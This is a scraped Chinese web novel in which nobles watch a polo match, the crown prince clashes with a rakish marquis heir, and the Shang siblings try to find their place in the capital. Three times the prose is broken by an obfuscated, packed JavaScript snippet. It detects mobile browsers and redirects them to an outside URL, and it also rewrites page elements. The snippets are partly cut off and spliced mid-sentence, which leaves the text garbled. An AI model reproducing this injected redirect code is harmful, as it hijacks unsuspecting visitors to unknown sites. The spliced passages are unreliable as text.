程玄晞步上最后一层台阶,抬首便是见到两位损友如此不顾形象的作态。 摇头失笑,他率先来到横案前,用纸扇敲了敲不着边际的长腿。 江昱正梦到关键时刻,忽然一脚踏空,猛地从圈椅里摔下来,握拳急喊:“大,必须是大!” 然而面前一片黑,乱七八糟地掀开扑头盖脸的氅衣,眼前赫然敞亮,四下清风徐徐,秋阳灿灿。 他如玉般的脸庞明显一滞,透着刚醒的空白,唯有额头上镶嵌宝石的抹额在艳阳下熠熠生辉,在他眼底染上清澈的神采。 即便眼底印着一片淡淡的青黑,也无法否认,这是位风神俊朗的妙公子。 寂静无声。 哪有什么“押大还是押小”“下注多少”之类的喧嚣声,连荷官都没有。倒是远处球场上,传来一阵震耳欲聋的欢呼声,掌声此起彼伏。 站在细尘纷飞的秋阳里,回了片刻神,江昱才想起这是哪里。 他抹一把脸,执起玉骨骰,一臀坐回美人靠,问:“现在什么时辰?” “还早,”程玄晞给自己倒了杯茶,润了润快要冒烟的嗓子,叹了口气,道,“我来是告诉你,太子来了,你要是累了就先回去,我等会还有得忙。” 江昱倏地睁开眼,睨向程玄晞,程玄晞脑袋向一边点了点,回了个无奈的表情。 江昱思绪回笼,嘴角漾出一抹嘲讽,美人靠轻轻摇晃起来,他转动手中玉骨骰,道:“回去做什么?我向来是要打这最后一球,他来了我也照样打。” 程玄晞扬眉,眼里透出一丝意外,笑了笑,便道:“随你。” 江昱嘴角的笑透着漫不经心,须臾,深不可测地来了一句:“看来,皇上招禹王回京,让他知道怕了。” 程玄晞姿态悠闲,“也因前日太顺了。皇上先招禹王回京,后又参加赏菊宴,东宫就想趁机挑战在皇上心中地位,可惜,招数不对。” 禹王是先皇后独子,先皇后薨逝后,禹王在宫中过了很长一段艰难的日子,后来才被发配边疆,做了一个戍边王爷,但乔氏一族从未忘记过先皇后在世时的显赫,骤然听到禹王回京,太子方寸大乱,竟失了稳重,在宫宴与臣女嬉戏,以试探君心。 可惜,被撞见的是国公府外孙女,商四娘子外柔内刚,当场就要求退去婚事。 太子知晓皇上不会准允,都未上达天听便登门道歉,老太君不想将事情闹大坏了四娘子名声,这才有了今日安排。 乌七八糟不忍直视,原本今日纯属游玩的节目也因太子登门商榷而失去乐趣,自小体弱而性情散漫的程玄晞更是心力交瘁,揉了揉额头,转过来问江昱,“你不是向来怕他?你今日要是再令他失了颜面,回头定又是一番说教。” 江昱是京城有名的纨绔,而太子是东宫之主,礼贤下士,对外为人谦和,素来名声不错,二人虽性情又南辕北辙,但除了程玄晞,谁也不知晓,江昱对谁都嚣张,除了见太子,犹如猫见老鼠,能躲则躲。 在外人眼里,太子对这位表弟,格外严厉,实际什么情况,只有二人知晓。 今日稀奇,他竟上赶着往前凑。 江昱嘴角扬起,笑得意气风发,“从今往后,就不怕了。” 这时,窄案后的白池柊直起腰来,二人的交谈,他压根没听进半分,只注视着手中佳作,愈看愈满意,朝二人招手道:“你们快来看看,我这幅怎么样?” 江昱正春风得意,一时大意,起身就过去瞅了一眼。 只一眼,堪比眼球触星火!他似烫了眼般跳开,怒吼:“白池柊!你真是胆大得没边了!” 白池柊幸亏撤的及时,才没叫半日心血一巴掌拍烂。 他盯着画作,迟疑:“不美吗?这姿势,可不是任何一个女子可以做到,哦对,定是我还没画脸,叫你吓着了。” 说着,他也不去窄案前继续执笔作画,而是走到敞开的窗棂前,朝下张望。 早有准备的程玄晞笑得直不起腰,趴在桌案上直咳嗽。 白池柊沉浸画作,目光穿梭在右侧一溜的裙裾中。 忽然指着不远处,兴奋道:“那个小娘子如何?长得挺漂亮,以前没见过,入画是不是很不错?” 江昱瞥了眼着实累得失了精神气的程玄晞,扶着额头走了过去。 视线微移,那里确实站着一张新面孔,模样娇俏,一身浅橘,立在疏影下,仿佛秋阳给她镀上了一层金晖。 没见过,由国公府侍从躬身招待,应是位娇客,他目光上移,凝视虚空,悠悠道:“你画的不是丰腴美人?这个干瘦如柴,也不怕张冠李戴,毁了你的画。” 白池柊仔细一瞧,确实太瘦了,看起来没有二两肉,要真以她的眉眼画上去,真真会以彼之眼配此之鼻,乱炖! 接下来,白池柊又挑了几个女子让好友相看,却都以各式各样的理由被否决。 “这个太丑,黑不溜秋,谁看你的画?” “你画的是一顶一的大美人,不是庸脂俗粉,就这,你不如糊上一堆面粉得了。” “那姿态,你确定是美,不是做作?” “你要的应该是媚吧?就这一滩清水,如何配!” ..... 说得白池柊都开始怀疑,他这是倾世佳作,曲高和寡,无人堪配。 笑得肚子疼的程玄晞为解救好友,起身去看闲置案桌上的画,展开一瞧,顿时眼前一亮,惊叹道:“白兄,你这丹青更上一层楼了啊,妙啊,妙!” 惊疑一声:“这姿势,这样貌......好像不是春红姑娘,你不会又是躲去别的楼,偷窥来的吧?” 白池柊也不执着找人了。 走到画前,忍不住炫耀,“我花了重金,才得了嫣红姑娘允许,在她屋里留宿一夜,不过嫣红姑娘说了,不准以她的相貌入画,实在可惜。” 说着,他扼腕叹息,遗憾道:“没有面容,也就你能懂我这画中精髓,江兄不懂,挑三拣四,方才还被吓了一跳。” 程玄晞闷头笑出声,心道,他何止是被你这无面女妖吓了一跳,简直都快要被你吓出半身不遂了。 想他江昱,十多年挥金如土,沉溺享乐,京城里什么没玩过,斗鸡走狗、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程昭昭往后探了一眼,那里连忙缩回一道尊贵华服的边角。 她没说话,挽着商明惠的胳膊往球场走去,直待四下彻底无人了,才小声劝慰:“你别放在心上,祖母说,要着急也该是乔家人急,你只是侧妃,就算没她,你也还是个侧妃,当不了正妃。” 商明惠哭笑不得,“这可不像是外祖母说的话。” 程昭昭挑眉,“第一句是,后面是我说的。” 商明惠冷淡的面容柔和,露出一丝笑意,眼见前方就到了小球场,她轻声道:“我没事,放心吧。” 程昭昭笑笑,不再继续多说。 此时,小球场打得正酣的二人闯入视线,她奇道:“那就是你那对双生弟妹?” 商明惠颔首。 二人停下脚步,观看一会,只见浅橘妹妹身形灵动,一个晃神却输了球,正朝着哥哥龇牙咧嘴,发出小老虎般凶狠模样。 她斜睨商明惠,揶揄道:“看起来挺可爱的,不会是第二个商明菁吧?” 商明惠眼里笑意收敛,道:“不知道。”见程昭昭不信,又补充道:“她规矩学好了,府里都让我带他们见些世面,大约是想将她嫁在京城。” 程昭昭目露轻蔑:“想嫁在京城,她应该榜下捉婿去,这里可没有适合她的。” 5. 第 5 章 商凝语瞧见露天门后熟悉的身影,欣喜大喊:“四姐姐。”目光错落,撞见旁边还立着的一人,面色一滞。 她露出青涩笑意,程昭昭也早一步收回情绪,面上端着一副雍容的客套笑容,商明惠介绍:“这是程家表姐。” 只说是表姐,其他一概舍弃,商凝语心思敏锐,察觉出暗含的疏离,面上却不显,露出甜甜的笑容,行礼道:“表姐好。” 商凝言也过来见礼。 “二位弟弟妹妹好。” 无论心里如何作想,明面上,程昭昭作为主家,还是要笑脸招待客人,客套几句,邀请商凝语去小凉亭落座歇息。 商凝语观测四姐姐神情,见她神色依旧,脸色一如既往的冷白,将兴致所至到嘴边的话默默咽下,重新端起淑仪,笑着应下,并再三道谢。 所谓小凉亭,并不简陋,亭头挂着“翠薇亭”三个字,里面锦绣薄毯铺置,红漆木长案横卧,茶水瓜果,各色点心,布列整整齐齐。 此时秋日当头,风和景明,侍女将四角纱帘卷起,顿时视野开阔,且此处占据观光台最佳视角,将球场战火一览无余。 程家表姐虽有些倨傲,但跟着她,能有如此舒适的观球区,就很容易让人忽视一切不快。 而且,左右邻亭里全是说话轻声细语,姿态闲适的小娘子们,没有人会盯着别人的仪态,商凝语就又觉得,这可比前日那排场浓重、遍布都是夫人的宫宴要舒适多了。 虽然,她还是端着。 “七妹妹随意些,此处都是自家姐妹,不必过于拘谨。”程昭昭一阵见血,戳破伪装。 商凝语心中一咯噔,言谢道:“多谢表姐。”面上却依旧端着,佯装没听明白话中潜词。 程昭昭见她这副模样,心中更加不屑,只觉得她小家子气十足,却也给商明惠留面子,不再趁胜追击,转而和商明惠说起来近日府上趣事。 商凝语心中松了口气,程昭昭的敌意,她能理解,不过,她觉得她也很无辜。 此时,隔壁凉亭里传来闲聊声,“听说,毅勇侯世子也来了。” 此言一出,惊出一片抽气声,商凝语见状,也来了兴致。 她先觑了一眼和程家表姐闲聊而依旧不忘时时招待她这个便宜妹妹的四姐姐,为了让对方忽视自己,拣起桌上香瓜子磕一颗,然后将身子微微侧斜,竖起耳朵倾听。 闲聊声再次传来,“世子来了又怎么样?你难道还有什么想法不成?” 对方也不着恼,咯咯笑出了声,道:“没有想法,难道还不能偷偷瞧上几眼?世子龙章凤姿,容颜出尘,我就是瞧上几眼,还不能美上几日?” “羞羞羞,说这话,齐姐姐也不害臊?” “你害臊?等会世子来了,你别瞧。” 凉亭里,顿时传来一片娇笑,你推我搡,羞羞涩涩,娇嗔笑骂,就是没有谁当真应下这句话。 商凝语心中乍舌,这京城姑娘们竟也这般孟浪,她不由得看向坐她对面的商凝言,眼神揶揄。 他们还在岭南时候,也有不少小娘子们偷偷躲在去书塾的道上,偷窥他,强拦他,还给他送瓜果,送香帕,有一次还差点闹到爹娘跟前去。 妹妹的眼神太过明亮,商凝言无奈瞥去一眼,起身朝商明惠拱手道:“四姐姐,我好似看到一位朋友,过去与他打声招呼。” 商明惠也知他坐在这里拘谨,原是等三表哥前来招待,却不想,三表哥迟迟不现身,闻言松了口气,叮嘱他过会再来。 商凝言起身离去,商凝语就察觉,那边的亭子瞬间静了一瞬。 她暗暗窃喜,即便是花团锦簇的京城圣地,她哥哥容颜姿色,也是个中翘楚。 虽然骄傲,但她还是有点担心商凝言,她知晓商凝言说认识的好友是谁,那是前些日子阿爹介绍的旧友之子,与商凝言差不多大,已经在国子监就读。 她抻长了脖颈,关注着那厢,眼见商凝言寻到了好友,又在好友的介绍下,认识了其他几位同席,彼此恭谦相让,看上去气氛和谐。 但她伸头的这个空隙,错过了身后再一次的满亭阒寂。 江昱三人骑着高头大马,从高阶前方走过,相继进入球场,很快给众小娘子留下漠视的背影。 凉亭里,小娘子们一溜地望穿秋水,痴态横生。 程玄晞笑得风流,“每一回跟你出场,都是受人瞩目,要么太吵,要么太静,哪一回也容我寻常地走出来?” 江昱单手拉绳,另一只手把玩着玉骨骰,嘴角挂着漫不经心地笑,道:“这份荣光,别人想都都不到,是吧?白兄?” 白池柊回想方才一眼扫过的粉衣小娘子,心里对踌躇不前的画作顿时又有了新的创想,感激道:“是,正是。” 程玄晞没眼看,心中对那个粉衣小娘子产生一阵同情。 那厢凉亭,顿时传来一阵嘈杂。商明菁早已目瞪口呆,面色羞红,任她如何猜测,也无法否认方才那三道似有若无的目光看向的是她,更何况,还有四周姐妹作证。 “菁姐儿今日艳冠群芳,难怪连世子都要多瞧一眼。” “今日回去,莫不是就有官媒登门,菁姐姐,以后做了世子妃,可得照应一下妹妹。” “还有我,还有我。” 商明菁嘴角几乎压不住,眼角眉梢一痕羞三分喜,全都溢淌出来。 她抿唇道:“还是没影儿的事,姐妹们莫要胡说。” 隔壁凉亭显然也注意到那边动静,先前最兴奋的女娘白眼翻飞,“真是不害臊,世子眼光怎会如此粗俗?也就是穿得扎眼了些,惹世子多看一眼,谁能想到,球会上会有人打扮得如此花枝招展呢。” 旁边娘子轻蔑附和,“就是,本末倒置,丑态百出还不自知,真应该回伯府去,免得丢人现眼。” 商凝语目光被这些轻嘲拉回,顺着她们的意思反向探头过去,这才知晓他们讥讽的是商明菁,心中掠过一丝同情。 她早已看出来了,伯府在岭南贵不可言,乡绅县令趋之若鹜,但在这京城,人人都可以嘲讽几句,当真风水轮流转,如今也到了她家。 “太子来了。”有人提醒。 闻声,众人立刻肃颜,商凝语低眉垂首,随商明惠和程昭昭起身,各亭子里娘子也相继禁语,众人同时向走向主亭国公夫人的太子垂首屈膝。 赵曦头戴金冠,身穿绣金线轻装胡服,一身打马球装扮,却不掩皇家贵气,跨步上了台阶,袍摆上的五爪金龙在前进的脚步中翻飞。 王氏率领众臣妇向天家献礼,还未行下大礼,就被赵曦虚扶拦下,谦和道:“孤今日偷了半日闲,希望没有打扰姑母雅兴。” 王氏笑得雍容,道:“殿下言重,殿下日理万机,操劳国事,能到这里闲暇半日,是国公府的荣幸。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362095|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >又问:“殿下也要下场?” 赵曦目不斜视,“是,许久不曾动筋骨,今日来看看。” 王氏眼皮轻眨,丝毫不露异色,甚至开起了玩笑,道:“殿下玉体金贵,就让他们陪你练练,不过要适可而止,否则,我可是要入宫跟娘娘告上一状。” 赵曦脸上反而露出舒心笑容,“夫人放心。” 二人交谈并未可以压声,商明惠压下眼底情绪,漠然垂首,静立不语。 赵曦向王氏拱手,临去前向这方扫过一眼,见状也不在意,潇洒离去。 太子离场,凉亭这厢气氛再次活络起来。 商凝语目光凝向球场,这才看到球场上多了三道不一样的身影,王家三表哥她自是熟稔,前日就已经认识过,另外一人面相尚可,像个白面书生,少了京城公子的气质。 最亮眼的却是另外一人,着一袭暗纹繁复的紫衣,身材颀长,坐在大马上,用球杆捞球的姿态潇洒自如,风流浑然天成。 她微微诧异,眼中不自觉流露出欣赏,很少有人随便一个动作就能令人赏心悦目,不免多看去几分。 男子始终背对着她,看不清面容,但就只是个背影,也流露着一股清贵,与别人大不相同。 这时,她想起来先前众人议论的那位毅勇侯世子,听说长相离奇的俊俏,心中感叹,这京城果然是卧虎藏龙的地方,养出如此之多的矜贵子弟。 此时,太子骑马进了球场,毕竟是未来姐夫,商凝语也想看看未来国君的风姿,前日距离远,偷窥时又对着背影,她都没仔细瞻仰这位殿下的容颜。 这一瞧,不免大失所望。 太子长相平平,还不如那位白面书生长得白净圆润,心中顿时对冰山雪美人四姐姐感到不值,就这样的长相和人品,除了储君身份,还好意思出来拈花惹草。 再看他打球姿态,还算利落,与人交涉从容应对,倒也没污了储君之名,心中稍显安慰,叹念一声“少傅辛苦”,但还是觉得,四姐姐可惜了。 正纳闷球赛怎么暂停了,忽然见太子与那位紫衣公子走到一起,二人不知交谈了什么,须臾,二人朝右边凉亭指了指,目光朝这边看过来,似乎在挑选队友。 商凝语顺着王家三表哥的手,看到了自家兄长,心情顿时激动起来,无论太子人品长相如何,但只要哥哥能融入这个圈子,前途必然就有了。 她见兄长与三表哥见礼,谦和而不退缩,与三表哥交换后,接过小厮牵过来的骏马,朝着马场走去。 她目光灿灿,想要为兄长助威,但谨记主亭那边还坐着的国公夫人,只得按捺住激动的心情,捻衽端坐,在心中为兄长摇旗呐喊。 就在这时,金风玉露一相逢,她目光错落,蓦地撞见朝兄长颔首的紫衣公子面容,眼神为之一愣。 紫衣公子将玉骨骰塞进腰间,正低头整理束袖,却不难瞧清他的面容,眉如远岫,唇若红玉,一派清秀风流。 他额间系着一根抹额,额带上镶嵌了三枚不同色彩的宝石,原本华丽的颜色,在他的姿容下却瞧不出半点轻浮,反而沾染了几分贵气,给白皙面容添出浓墨重彩的一笔。 一袭紫衣,不落俗套,配上如此相貌,应是这世间最俊秀的男子。 只一眼,惊为天人。 商凝语心想,勿怪那些娘子们为之疯狂,这样谪仙般的人物,哪个女子见了,不怦然心动? 6. 第 6 章 很快,球赛开始,众人这才知晓,勇毅侯世子和太子要比试最后一轮,为给球赛增添一些兴味,二人分别押上一件宝物,以作彩头。 众位小娘子们难掩激动,抬首张望,鹅颈拉得修长。 在这大家目光都凝向球场的时刻,商凝语胆大放肆一回,偷偷将目光移向那位紫色身影。风流少年手指长杖,纵马如虹,腰间玉带在秋阳里熠熠生辉,挥杆时,长臂大张,去时尤似月破天罡,势如奔雷。 她看得入迷,没有注意到身侧投来的鄙视目光。 程昭昭推商明惠,朝这边抬了抬下巴。 商明惠暗中蹙眉,勇毅侯世子身世显赫,并非伯府可以高攀,便是她自己,能入东宫为侧妃,也是皇上念在祖父以及外祖父的面子,格外开恩。 她心道,阿爹应该不至于胡来,应她这攀龙附凤的要求。 忽然,不知是谁,喊了一声,“小心。”随即,四周惊呼声同时乍响。 只见商凝语面色一白,仓惶起身,顾不上许多,拎着裙裾,朝着马场上奔去。 “发生了何事?”程昭昭没有仔细观赛,歪头询问商明惠。 商明惠也没瞧仔细,但她好像看到商凝言受伤了。 球场出现了不小的骚动,国公夫人派人询问发生了何事。有人禀报,白公子的马受惊,好在有惊无险,忠勤伯府的小六公子救了白公子一命。 国公夫人心头一凛,立刻派人前去将二人带回来,询问其他人情况如何,得知太子无恙后,又吩咐下人,去请郎中。 商凝语一路小跑,到了球场,跑到商凝言面前询问,知道他扭得并不严重,见他模样从容,又低头查看,确定伤势无虞,这才松了口气。 江昱眼神似笑非笑,睨向赵曦,道:“殿下近日心情不错啊,球打得真好。” 商凝语一愣,此人为何如此嚣张?这可是太子呐,这勇毅侯府再大再权贵,也贵不过太子吧?敢阴阳太子,胆真肥。 赵曦眼神微眯,朝江昱投去一眼,警告意味浓重,淡淡道:“是孤大意,一时不慎,误伤二位。” 江昱却当作没瞧见,眼神直视太子,姿态随意,“殿下承让,改日别忘了叫人将您那座玉珊瑚搬去侯府。” 东宫近日得了一座人高的红玉珊瑚,高大器阔,色质鲜艳,是从东海打捞出来的稀世珍品。 当着这么多人的面,赵曦不可能出尔反尔,再加今日诸事不顺,心情欠佳,对宝贝也失去了兴趣,道了一句“如你所愿”,端着询问几句,见对方想要息事宁人,心中微微松了口气,稍过片刻,带着人匆匆走了。 程玄晞默默朝江昱竖起了个大拇指。 商凝语朝太子看了一眼,心中对这位未来姐夫更加鄙夷。 她瞧得仔细,这位世子不仅对太子口出狂言,而且,言行一致,连行为举止都对太子大大的不敬。 方才,是这位世子一直将球朝太子身上招呼,太子几次避让不过,不仅输了球,还输了颜面,恼怒之下将球打向那位书生公子,是哥哥,眼见马儿受惊,用球杆勾住白衣公子,才没致使悲剧发生。 白衣公子跌了一跤,哥哥手腕扭伤,世子还知晓为哥哥讨个公道,太子竟一点歉意也没有,轻描淡写就将事情揭过,连一句场面话都没有。 商明惠二人也赶了过来,程昭昭下巴高抬,眼神恨恨地睨向追上来的亲哥哥,道:“助纣为虐,你回去亲自给祖母解释吧。” 程玄晞嘴角露出苦笑,没好气地瞥了一眼江昱,江昱这才反应过来,忠勤伯府这位六小公子可不是他随意借来杀人的刀。 忠勤伯府三爷只有一个儿子,出嫁女娘将来在娘家的依靠都是这位小六公子,他伤了这位小六公子,可不就连老太君都给得罪了。 他摸了摸鼻子,朝程玄晞投去抱歉的眼神,心里琢磨着该怎么挽回。 商凝语不知晓这些,还道是程家表姐怨怪三表哥不该组这场局,将二人联合到一起,心道,这也有点道理,毕竟,这位紫衣世子有备而来。 一场闹剧就此结束,国公夫人命人将商凝言请去后场休息,商明惠不放心,要跟着一同前去,程昭昭作为主家,陪同前往。 屋舍不远,甫一坐定,郎中便到了,检查一番,又作了包扎,叮嘱几项忌口要点,背着药箱离去。 商明惠与这个弟弟不亲,二人又都不是健谈的性格,几句场面话说话,屋内就安静下来,还是程昭昭多言,回寰了几句,二人这才离开。 室内只剩下嫡亲兄妹二人,商凝言见她面色郁结,嘴角一扯,道:“放心好了,我真没事,我的球技你还不知道?只要我不想受伤,就没人能伤到我。” 商凝语一惊,“你故意的?为什么?” 商凝言无奈一瞥,没好气道:“因为两边我都不能得罪。” 商凝语目光微凝,她又是极聪慧的,稍一点拨,就想明白了其中道理,勇毅侯世子和三表哥关系要好,太子却是未来姐夫,无论哪一边输了球,最后都有可能迁怒她这个位卑言轻的哥哥。 坏只坏在,他们事先并不知晓这二人关系不睦。 商凝言道:“好了,实话我已经告诉你,就不要愁眉苦脸的,下午还有女子场,你好好表现,拿出你的看家本领。” 商凝语难得听到亲哥哥的鼓励,倨傲地抬起下巴,道:“等着瞧吧。” 商凝言轻笑,忽然问:“可有相中的公子?”他心知爹娘打算,也想帮妹妹一把。 商凝语定格了一瞬,眼珠子往一边跑,反问:“若是有,你能帮我?” 还真有?商凝言目光微凝:“是谁?哪家的公子?”紧张之意,不经意间流露。 商凝语翻了个美妙的白眼,“答非所问,是我先问你的。” 商凝言无奈,“当然要帮你打探一下对方的人品。” 商凝语露出真心的笑容,笑得却比狐狸还奸猾,“礼尚往来,待你找到心仪的小娘子,我也去帮你打探。” 商凝言回了个无语的表情,心中却知晓,她在顾左右而言他。 - 过了晌午,果然下午场是女子场,程昭昭组织女子团,准备一场女子赛。 因自家哥哥惹了六表弟受伤,程昭昭自觉尽好地主之谊,带上商凝语,和商明惠以及另一位小娘子组织了四人团,不过,前面几场热身,为防止这个小表妹拖后腿,失了东道主的优势,她更愿意让他们老熟人三个先上。 “七表妹,你先看着,了解一下规则,若有不懂的,待会问我。”程昭昭道。 这是真的欺负她乡下来的,商凝语假装听不懂,依旧笑容可掬,道:“好的,谢谢表姐。” 去那边歇着也没什么不好的,方才她瞧见,紫衣世子和王家三表哥也去了凉亭,去的方向正是哥哥所在凉亭。 窈窕淑女,君子好逑,男子也一样嘛,反正今日该见识的场面也见识了,该认识的人也认识了,比赛亦是胜券在握,剩下的当然要为心所欲。 回到凉亭,空旷的雅座内顿时只剩她一人,没有人监视礼仪,也没有人嘲笑你身份低微,多么自在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362096|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她坐下歇息,执起一块玉莲糕,细细品尝,目光瞥向兄长那边,虽然世子背对这边,还是只能看个背影,但已然能令人心情舒畅。 一位身形端庄的嬷嬷向观景台走去,身后跟着三名侍女,手中各端一个托盘,脚步稳健,立在中央。 嬷嬷雍容慈祥,道:“夫人有些疲乏,提前回府歇息,未免小娘子们破费,特吩咐老奴送来今日彩头,着令程家儿女招待好客人,诸位公子娘子们,务必尽兴而归。” 众人纷纷伸头,打量侍女手中托盘,商凝语也被引去了目光,随着嬷嬷的介绍,再次涨了见识。 一个镂空银质香炉,造型精美,玲珑小巧,一颗夜明珠,圆润透亮,侍女用黑布笼罩住,透过细布纹理透出柔和的光芒,是极为罕见的宝物,最后一件是一支百年人参,参体饱满,根须完整,看起来价格不菲。 她一眼看中了那棵人参。 人参好啊,能补脾益肺,安神益智,能入药引,强身健体,赠送给长辈,既能展示才能,还能聊表孝心,一举两得。 嗯,人参是第一名的,看来她得努力。 原本以为只是机会问题,她吃着糕点,品着上午端着矜持未沾一滴的佳酿,等到球赛开始才意识到,轻敌了。 上场的六名女子,以红蓝臂袖区分,只见程昭昭臂扎红绸,在马背上拢了个漂亮的旋转风,马蹄飞奔,她一跃而起,隔着数尺高挥斥球杆,随着球声入门,她手拉缰绳,稳稳地落回马背。 来自凉亭的欢呼声震耳欲聋,端颜嬷嬷手执扎花木槌,一锤敲在铜鼓上,道:“程娘子落雪纷飞夺三分。” 商凝语目瞪口呆,一时没回神。 一名手扎蓝袖的女子快马飞奔,此女子更甚,是从马腹钻了过去,来了个出其不意,从商明惠手中将球夺走,而后策马奔腾,一杆进球。 嬷嬷再度高喊,“齐娘子海底捞月夺三分。” 商凝语乍舌,心神大震。这群矫揉造作的女娇娘们,打起球来,不仅比实力,更是比美观,这海底捞月着实厉害,她还以为只有她这种乡下野丫头才会,那个什么落雪确实漂亮,她哪里会? 最重要的是,这竟然齐齐计分,这不是生生斩她活路吗!上午男子比赛就没有这样的,怪不得程家表姐那样说,感情是真的知晓她不懂规则。 时间紧迫,不能再胡思乱想,她赶紧舍弃哥哥那边,聚精会神地看着场中每一位娘子的招数。 这厢江昱把玩着玉骨骰,忽然问白池柊,“你家老爷子今年可还收学生?” 白池柊一愣,他虽沉迷画作,但是不笨,闻弦音知雅意,目光眼角不由自主落在忠勤伯府六公子身上。 商凝言倏地屏住呼吸,目光如炬地看向白池柊。 白池柊心中恨不得将今日小人画上江昱的脸,面上装模作样地点头,一本正经道:“应该是打算再收一个的。” 江昱嘴角微扬,指着商凝言,“喏,这不就有一个,我观六公子秉性纯良,言辞清晰,应该是个很好的学生。” 白池柊觉得自己回家牙龈肯定要出血,微笑着朝商凝言道:“祖父向来爱惜人才,商兄不若说服令尊携你一同入府作客?祖父见到你,定愿收你作入门弟子。” 商凝言眼睛一亮,拱手道:“多谢白兄,多谢世子。” 江昱了了一桩心事,含笑颔首。 一个家世浅薄,要走科举入仕才能露出头角的门生,得罪也就得罪了,何须等到老太君发作? 问题这不轻轻松松就解决了。 7. 第 7 章 球赛比试到最后一场,程昭昭寻了个理由,借着中场休息的时间,来将商凝语调换上去,看着离去小娘子飞扬的眼梢眉角,商凝语有一瞬间生出退意。 这都是世家贵女啊,打起球来,花样百出,既能在马上旋转跳出一朵花,还能拉住缰绳,在空中起舞,区别于男性的雄健,而展现女子的柔美,刚柔并济,吸人眼球。 这个马球赛,和她想的,不一样。 她只会一种,甩杆,进球。 她还瞧出,最后两队实力相当,程家这队胜在实力,而对方花样更胜一筹,也似乎没有要给东道主留面子的意思,互不谦让,刷刷几个球,都拼了全力。 她要是顶替上场,还真真没有十足的把握能赢。 商明惠却说得轻松,“就是玩玩,输了也没关系。” 那哪行,这可是她回京城后的第一个小娘子聚会,代表了以后在这个圈的地位。 商凝语心知此时退场必引人嘲笑,只好捏着鼻子应下,将鹿皮靴系带扎紧,又松了松腰带,整理好衣襟,雄赳赳跳上马,冲进球场。 白池柊的祖父担任国子监祭酒,门生遍布天下,可惜,近几年因年事已高,开始作了闲散老翁,因世子一句话,骤然得以拜入白老夫子门下的商凝言,自是拉着白池柊讨论一番学问,并暗戳戳地打探老夫子的喜好。 白池柊想着回去该如何跟老爷子说,一边挂念尚未头绪的画作,转头见到商七娘下了场,奇道:“商兄,那是你小妹吗?” 商凝言心中对今晚的文章已经有了头绪,闻言,心舒道:“正是舍妹。” 白池柊一时呆了目光,心中暗暗可惜。阁楼距离太远,没看清,原来本人近看更漂亮。 程玄晞一脚踩在好兄弟的脚上,端盏喝茶。 江昱抬头,目光从球场扫过,手中的玉骨骰发出清脆的碰撞声。 对球场以外的感知,商凝语都屏蔽了,此刻,她只知自己要摒弃杂念,全力以赴,即便不能花样百出,也要蛮性进球,为己方多争取一分。 她眼神明亮,严正以待,到了球场中,才又知自己孤陋寡闻,这些小娘子们的伎俩,真真的层出不穷。 她挥一球杆,拦她路的小娘子,笑声叮铃悦耳,道:“你是哪个府上的?以前没见过你呀。” 她再挥一杆球,又一个上来问:“你怎么不会马上飞?你长得漂亮,飞起来肯定美。” 还有上来说教的,“你总是用蛮力,这样不雅观,那边男子们都在瞧着呢。” 不知对方身份,商凝语端着礼数,有口不能骂,抿紧了嘴只顾着进攻。 再有人嬉戏,问她为何不说话,言语中规中矩,好奇或者嗤笑各种意味不明,她一杆进球,回首道:“承让。”对方面色渐冷,策马离开。 再有人问她:“商明惠是你姐姐吗?”她哼哼两声,算作回应。 还有人惊叹,“原来你就是那个从乡下来的伯府七娘子,你知道你四姐姐与这一道颇为擅长吗?你今日不拿出一点花样,胜之不武哦。”回应她的,是一记快如闪电般的球杆。 既表现了官家小娘子该有的风度,又不失尖锐,将一应轻视扼于咽喉。 程玄晞惊叹:“七表妹好定力。” 这些女娇娘们的把戏,他了解最深,顿时对这位泰山崩于前而面不改色的七表妹刮目相看。 商凝言目视亲妹,见她在一众娇女中纵马穿梭,与同伴默契配合,与对手擦肩而过,游刃有余,眼里露出与有荣焉的自豪感。 很好,她这位妹妹已经找到了自己的定位,寻到了在这陌生京城里的求存之道。 那厢,商明菁也注意到上场的商凝语,双眉紧蹙,她怎么也会打马球? 商明菁自小不喜欢这些有失体容的东西,骑马、打球那都是男人该玩的东西,她是名门贵女,将来嫁入夫家,要端坐家中,主持中馈,相夫教子,无论从哪个方向瞧,这打马球都是纯纯浪费时间的事。 在她看来,那些娘子们都是花拳绣腿,和男子赛的力量和速度都没法比,而这商凝语在乡下长大,就算会一些球技,也不过粗俗些,拳脚功夫多一点罢了。 往日没瞧仔细,觉得那些女娘都是换种方式卖弄风骚,今日却似乎有些不一样,自从商凝语上场之后,那些翩翩起舞少了些,花样技巧全都没有了,几个女娘追着一个球跑,速度、风姿一点也不输男子。 而那商凝语,在球场上左右逢源,神采飞扬,与往日唯唯诺诺判若两人,简直容光焕发。 “你这个妹妹似乎不一样。”与商明菁往日交好的女娘说道。 商明菁嘴角扯出一抹笑,道:“自是不一样。”眼见其他女娘都投过来目光,她心里涌起一缕不甘,笑道:“她自小在岭南长大,三叔怜她孤单,允许她与邻里交涉,这才养出了几分天真烂漫。” 